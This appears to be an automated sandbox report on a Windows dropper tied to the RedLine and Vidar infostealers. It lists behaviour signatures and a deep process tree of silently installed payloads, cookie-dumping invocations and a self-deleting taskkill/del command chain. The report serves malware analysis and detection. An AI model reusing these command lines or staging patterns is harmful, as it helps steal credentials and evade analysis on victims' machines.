Overview

overview

10

Static

static

7C323309D9...3E.exe

windows7_x64

10

7C323309D9...3E.exe

windows10_x64

10

Analysis

  • max time kernel
    35s
  • max time network
    159s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    03/07/2021, 21:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    7C323309D9BA89C75F3CDC13E1A9513E.exe
  • Size 3.1MB
  • Sample210703-9a8cm5xvmx
  • SHA256 2df4e3a4d7b6e5f33ef54c73ff86ffc76d8667ff587756a2887bf91687ab46a9
  • MD5 SHA1 SHA512
Score
10/10
redlinevidardiscoveryevasioninfostealerpersistencespywarestealertrojanupxvmprotect

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 35 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 33 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 64 IoCs
  • Script User-Agent 11 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:296
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2364
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2560
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2688
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2676
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2340
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1916
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                1⤵
                  PID:1448
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1304
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                    1⤵
                      PID:1228
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1108
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                        1⤵
                          PID:908
                        • C:\Users\Admin\AppData\Local\Temp\7C323309D9BA89C75F3CDC13E1A9513E.exe
                          "C:\Users\Admin\AppData\Local\Temp\7C323309D9BA89C75F3CDC13E1A9513E.exe"
                          1⤵
                          • Checks computer location settings
                          • Suspicious use of WriteProcessMemory
                          PID:3904
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe"
                            2⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of WriteProcessMemory
                            PID:3336
                            • C:\Windows\SysWOW64\rUNdlL32.eXe
                              "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                              3⤵
                              • Loads dropped DLL
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:2840
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\note866.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\note866.exe"
                            2⤵
                            • Executes dropped EXE
                            • Checks whether UAC is enabled
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1376
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\GloryWSetp.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\GloryWSetp.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:152
                            • C:\Users\Admin\AppData\Roaming\3123681.exe
                              "C:\Users\Admin\AppData\Roaming\3123681.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3748
                            • C:\Users\Admin\AppData\Roaming\6526194.exe
                              "C:\Users\Admin\AppData\Roaming\6526194.exe"
                              3⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Suspicious use of WriteProcessMemory
                              PID:1204
                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                4⤵
                                • Executes dropped EXE
                                PID:4148
                            • C:\Users\Admin\AppData\Roaming\4519590.exe
                              "C:\Users\Admin\AppData\Roaming\4519590.exe"
                              3⤵
                              • Executes dropped EXE
                              PID:3808
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\IDWCH1.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\IDWCH1.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:4388
                            • C:\Users\Admin\AppData\Local\Temp\is-P0QU7.tmp\IDWCH1.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-P0QU7.tmp\IDWCH1.tmp" /SL5="$D0068,298255,214528,C:\Users\Admin\AppData\Local\Temp\RarSFX0\IDWCH1.exe"
                              3⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of WriteProcessMemory
                              PID:4416
                              • C:\Users\Admin\AppData\Local\Temp\is-3438P.tmp\Piiiiiiiipç87.exe
                                "C:\Users\Admin\AppData\Local\Temp\is-3438P.tmp\Piiiiiiiipç87.exe" /S /UID=124
                                4⤵
                                • Drops file in Drivers directory
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Drops file in Program Files directory
                                • Suspicious use of WriteProcessMemory
                                PID:4468
                                • C:\Program Files\Uninstall Information\NGOVATZBWF\IDownload.exe
                                  "C:\Program Files\Uninstall Information\NGOVATZBWF\IDownload.exe" /VERYSILENT
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:4684
                                  • C:\Users\Admin\AppData\Local\Temp\is-1L4HA.tmp\IDownload.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-1L4HA.tmp\IDownload.tmp" /SL5="$20206,994212,425984,C:\Program Files\Uninstall Information\NGOVATZBWF\IDownload.exe" /VERYSILENT
                                    6⤵
                                    • Executes dropped EXE
                                    • Drops file in Program Files directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of WriteProcessMemory
                                    PID:4712
                                    • C:\Program Files (x86)\IDownload\IDownload.App.exe
                                      "C:\Program Files (x86)\IDownload\IDownload.App.exe" -silent -desktopShortcut -programMenu
                                      7⤵
                                      • Executes dropped EXE
                                      • Drops desktop.ini file(s)
                                      • Drops file in Program Files directory
                                      • Drops file in Windows directory
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      • Suspicious use of WriteProcessMemory
                                      PID:4796
                                      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                                        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v2ieofrs.cmdline"
                                        8⤵
                                          PID:5040
                                          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                                            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES72E5.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC72E4.tmp"
                                            9⤵
                                              PID:4252
                                    • C:\Users\Admin\AppData\Local\Temp\75-43762-17d-2849c-ee05e3e2fa00b\Liricelype.exe
                                      "C:\Users\Admin\AppData\Local\Temp\75-43762-17d-2849c-ee05e3e2fa00b\Liricelype.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      PID:4744
                                    • C:\Users\Admin\AppData\Local\Temp\7d-0ebe3-025-91381-0dbac882e2e0a\Savusizhovo.exe
                                      "C:\Users\Admin\AppData\Local\Temp\7d-0ebe3-025-91381-0dbac882e2e0a\Savusizhovo.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4848
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eoonwd5c.oua\GcleanerEU.exe /eufive & exit
                                        6⤵
                                          PID:1476
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m0lxo5hr.04l\installer.exe /qn CAMPAIGN="654" & exit
                                          6⤵
                                            PID:4252
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ur24c401.hgg\ifhwwyy.exe & exit
                                            6⤵
                                              PID:5624
                                              • C:\Users\Admin\AppData\Local\Temp\ur24c401.hgg\ifhwwyy.exe
                                                C:\Users\Admin\AppData\Local\Temp\ur24c401.hgg\ifhwwyy.exe
                                                7⤵
                                                • Executes dropped EXE
                                                PID:5704
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  8⤵
                                                  • Executes dropped EXE
                                                  PID:5820
                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                  8⤵
                                                  • Executes dropped EXE
                                                  PID:5784
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ltmromin.nzg\Setup3310.exe /Verysilent /subid=623 & exit
                                              6⤵
                                                PID:5356
                                                • C:\Users\Admin\AppData\Local\Temp\ltmromin.nzg\Setup3310.exe
                                                  C:\Users\Admin\AppData\Local\Temp\ltmromin.nzg\Setup3310.exe /Verysilent /subid=623
                                                  7⤵
                                                  • Executes dropped EXE
                                                  PID:5532
                                                  • C:\Users\Admin\AppData\Local\Temp\is-L5AGB.tmp\Setup3310.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-L5AGB.tmp\Setup3310.tmp" /SL5="$10400,138429,56832,C:\Users\Admin\AppData\Local\Temp\ltmromin.nzg\Setup3310.exe" /Verysilent /subid=623
                                                    8⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Suspicious use of FindShellTrayWindow
                                                    PID:2844
                                                    • C:\Users\Admin\AppData\Local\Temp\is-ILUNO.tmp\Setup.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\is-ILUNO.tmp\Setup.exe" /Verysilent
                                                      9⤵
                                                        PID:5372
                                                        • C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
                                                          "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
                                                          10⤵
                                                          • Executes dropped EXE
                                                          PID:5700
                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                            11⤵
                                                              PID:5152
                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                              11⤵
                                                                PID:6676
                                                            • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                              "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                              10⤵
                                                              • Executes dropped EXE
                                                              PID:5792
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
                                                                11⤵
                                                                  PID:7076
                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                    taskkill /im RunWW.exe /f
                                                                    12⤵
                                                                    • Kills process with taskkill
                                                                    PID:7572
                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                    timeout /t 6
                                                                    12⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:7984
                                                              • C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
                                                                "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
                                                                10⤵
                                                                • Executes dropped EXE
                                                                PID:5832
                                                                • C:\Users\Admin\AppData\Roaming\1416860.exe
                                                                  "C:\Users\Admin\AppData\Roaming\1416860.exe"
                                                                  11⤵
                                                                    PID:5152
                                                                  • C:\Users\Admin\AppData\Roaming\2228491.exe
                                                                    "C:\Users\Admin\AppData\Roaming\2228491.exe"
                                                                    11⤵
                                                                      PID:6196
                                                                    • C:\Users\Admin\AppData\Roaming\8335250.exe
                                                                      "C:\Users\Admin\AppData\Roaming\8335250.exe"
                                                                      11⤵
                                                                        PID:6332
                                                                    • C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe
                                                                      "C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                      10⤵
                                                                        PID:5868
                                                                        • C:\Users\Admin\AppData\Local\Temp\is-VUUBQ.tmp\MediaBurner.tmp
                                                                          "C:\Users\Admin\AppData\Local\Temp\is-VUUBQ.tmp\MediaBurner.tmp" /SL5="$104C6,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                          11⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          PID:6048
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-DRO7F.tmp\JFHGSFGSIUGFSUIG.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-DRO7F.tmp\JFHGSFGSIUGFSUIG.exe" /S /UID=burnerch1
                                                                            12⤵
                                                                              PID:5656
                                                                              • C:\Program Files\Windows Defender\LYXBIMTXLE\ultramediaburner.exe
                                                                                "C:\Program Files\Windows Defender\LYXBIMTXLE\ultramediaburner.exe" /VERYSILENT
                                                                                13⤵
                                                                                  PID:6708
                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-7C277.tmp\ultramediaburner.tmp
                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-7C277.tmp\ultramediaburner.tmp" /SL5="$404A4,281924,62464,C:\Program Files\Windows Defender\LYXBIMTXLE\ultramediaburner.exe" /VERYSILENT
                                                                                    14⤵
                                                                                      PID:6756
                                                                                      • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                        15⤵
                                                                                          PID:6956
                                                                                    • C:\Users\Admin\AppData\Local\Temp\37-b133a-5a7-5d0b7-aeea6b0af8f9f\SHocodatowa.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\37-b133a-5a7-5d0b7-aeea6b0af8f9f\SHocodatowa.exe"
                                                                                      13⤵
                                                                                        PID:6844
                                                                                      • C:\Users\Admin\AppData\Local\Temp\79-55605-98e-634a9-6b159c5c9ccb5\ZHaezhyniwocy.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\79-55605-98e-634a9-6b159c5c9ccb5\ZHaezhyniwocy.exe"
                                                                                        13⤵
                                                                                          PID:6944
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mudsk0dc.2ni\GcleanerEU.exe /eufive & exit
                                                                                            14⤵
                                                                                              PID:8084
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kjpuu50j.kau\installer.exe /qn CAMPAIGN="654" & exit
                                                                                              14⤵
                                                                                                PID:5764
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\foayozo2.sws\ifhwwyy.exe & exit
                                                                                                14⤵
                                                                                                  PID:3996
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\foayozo2.sws\ifhwwyy.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\foayozo2.sws\ifhwwyy.exe
                                                                                                    15⤵
                                                                                                      PID:7544
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                        16⤵
                                                                                                          PID:7404
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                          16⤵
                                                                                                            PID:1940
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cqdrd4aj.hsf\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                        14⤵
                                                                                                          PID:4420
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\cqdrd4aj.hsf\Setup3310.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\cqdrd4aj.hsf\Setup3310.exe /Verysilent /subid=623
                                                                                                            15⤵
                                                                                                              PID:8052
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-Q75ND.tmp\Setup3310.tmp
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-Q75ND.tmp\Setup3310.tmp" /SL5="$107C2,138429,56832,C:\Users\Admin\AppData\Local\Temp\cqdrd4aj.hsf\Setup3310.exe" /Verysilent /subid=623
                                                                                                                16⤵
                                                                                                                  PID:5356
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-6U22K.tmp\Setup.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-6U22K.tmp\Setup.exe" /Verysilent
                                                                                                                    17⤵
                                                                                                                      PID:8160
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xvvguupi.cxu\google-game.exe & exit
                                                                                                                14⤵
                                                                                                                  PID:7696
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\xvvguupi.cxu\google-game.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\xvvguupi.cxu\google-game.exe
                                                                                                                    15⤵
                                                                                                                      PID:1252
                                                                                                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                        16⤵
                                                                                                                          PID:5144
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 596
                                                                                                                            17⤵
                                                                                                                            • Program crash
                                                                                                                            PID:1972
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jctpawxu.2kp\GcleanerWW.exe /mixone & exit
                                                                                                                      14⤵
                                                                                                                        PID:6244
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          15⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:5868
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2mn1mwqg.mzc\toolspab1.exe & exit
                                                                                                                        14⤵
                                                                                                                          PID:3296
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2mn1mwqg.mzc\toolspab1.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2mn1mwqg.mzc\toolspab1.exe
                                                                                                                            15⤵
                                                                                                                              PID:7668
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2mn1mwqg.mzc\toolspab1.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2mn1mwqg.mzc\toolspab1.exe
                                                                                                                                16⤵
                                                                                                                                  PID:6360
                                                                                                                    • C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe
                                                                                                                      "C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                      10⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:6136
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-CLQN1.tmp\lylal220.tmp
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-CLQN1.tmp\lylal220.tmp" /SL5="$104C8,389391,305664,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                        11⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:2160
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-BCCES.tmp\ElZané_çé_.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-BCCES.tmp\ElZané_çé_.exe" /S /UID=lylal220
                                                                                                                          12⤵
                                                                                                                            PID:5296
                                                                                                                            • C:\Program Files\MSBuild\LBAPGWOKVI\irecord.exe
                                                                                                                              "C:\Program Files\MSBuild\LBAPGWOKVI\irecord.exe" /VERYSILENT
                                                                                                                              13⤵
                                                                                                                                PID:7052
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-0DPLR.tmp\irecord.tmp
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-0DPLR.tmp\irecord.tmp" /SL5="$204EE,5808768,66560,C:\Program Files\MSBuild\LBAPGWOKVI\irecord.exe" /VERYSILENT
                                                                                                                                  14⤵
                                                                                                                                    PID:7116
                                                                                                                                    • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                      "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                      15⤵
                                                                                                                                        PID:6032
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a5-d4aa4-3a8-1138a-b433cd113bb52\Dubarococa.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a5-d4aa4-3a8-1138a-b433cd113bb52\Dubarococa.exe"
                                                                                                                                    13⤵
                                                                                                                                      PID:7084
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\13-a7498-b33-cdcbb-1916aba4178ab\ZHoloxagaqy.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\13-a7498-b33-cdcbb-1916aba4178ab\ZHoloxagaqy.exe"
                                                                                                                                      13⤵
                                                                                                                                        PID:7144
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\unfjsqpa.wn2\GcleanerEU.exe /eufive & exit
                                                                                                                                          14⤵
                                                                                                                                            PID:8060
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jscvh1es.b3i\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                            14⤵
                                                                                                                                              PID:7244
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\a4tafpob.v42\ifhwwyy.exe & exit
                                                                                                                                              14⤵
                                                                                                                                                PID:5452
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a4tafpob.v42\ifhwwyy.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\a4tafpob.v42\ifhwwyy.exe
                                                                                                                                                  15⤵
                                                                                                                                                    PID:7836
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                      16⤵
                                                                                                                                                        PID:7684
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        16⤵
                                                                                                                                                          PID:3508
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i0imnij3.mn4\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                      14⤵
                                                                                                                                                        PID:8080
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\i0imnij3.mn4\Setup3310.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\i0imnij3.mn4\Setup3310.exe /Verysilent /subid=623
                                                                                                                                                          15⤵
                                                                                                                                                            PID:6168
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-FPRSK.tmp\Setup3310.tmp
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-FPRSK.tmp\Setup3310.tmp" /SL5="$1070A,138429,56832,C:\Users\Admin\AppData\Local\Temp\i0imnij3.mn4\Setup3310.exe" /Verysilent /subid=623
                                                                                                                                                              16⤵
                                                                                                                                                                PID:208
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-BIO3J.tmp\Setup.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-BIO3J.tmp\Setup.exe" /Verysilent
                                                                                                                                                                  17⤵
                                                                                                                                                                    PID:340
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iruervfn.jsf\google-game.exe & exit
                                                                                                                                                              14⤵
                                                                                                                                                                PID:6156
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\iruervfn.jsf\google-game.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\iruervfn.jsf\google-game.exe
                                                                                                                                                                  15⤵
                                                                                                                                                                    PID:3200
                                                                                                                                                                    • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                      "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                                      16⤵
                                                                                                                                                                        PID:7656
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2tnh0hmm.s53\GcleanerWW.exe /mixone & exit
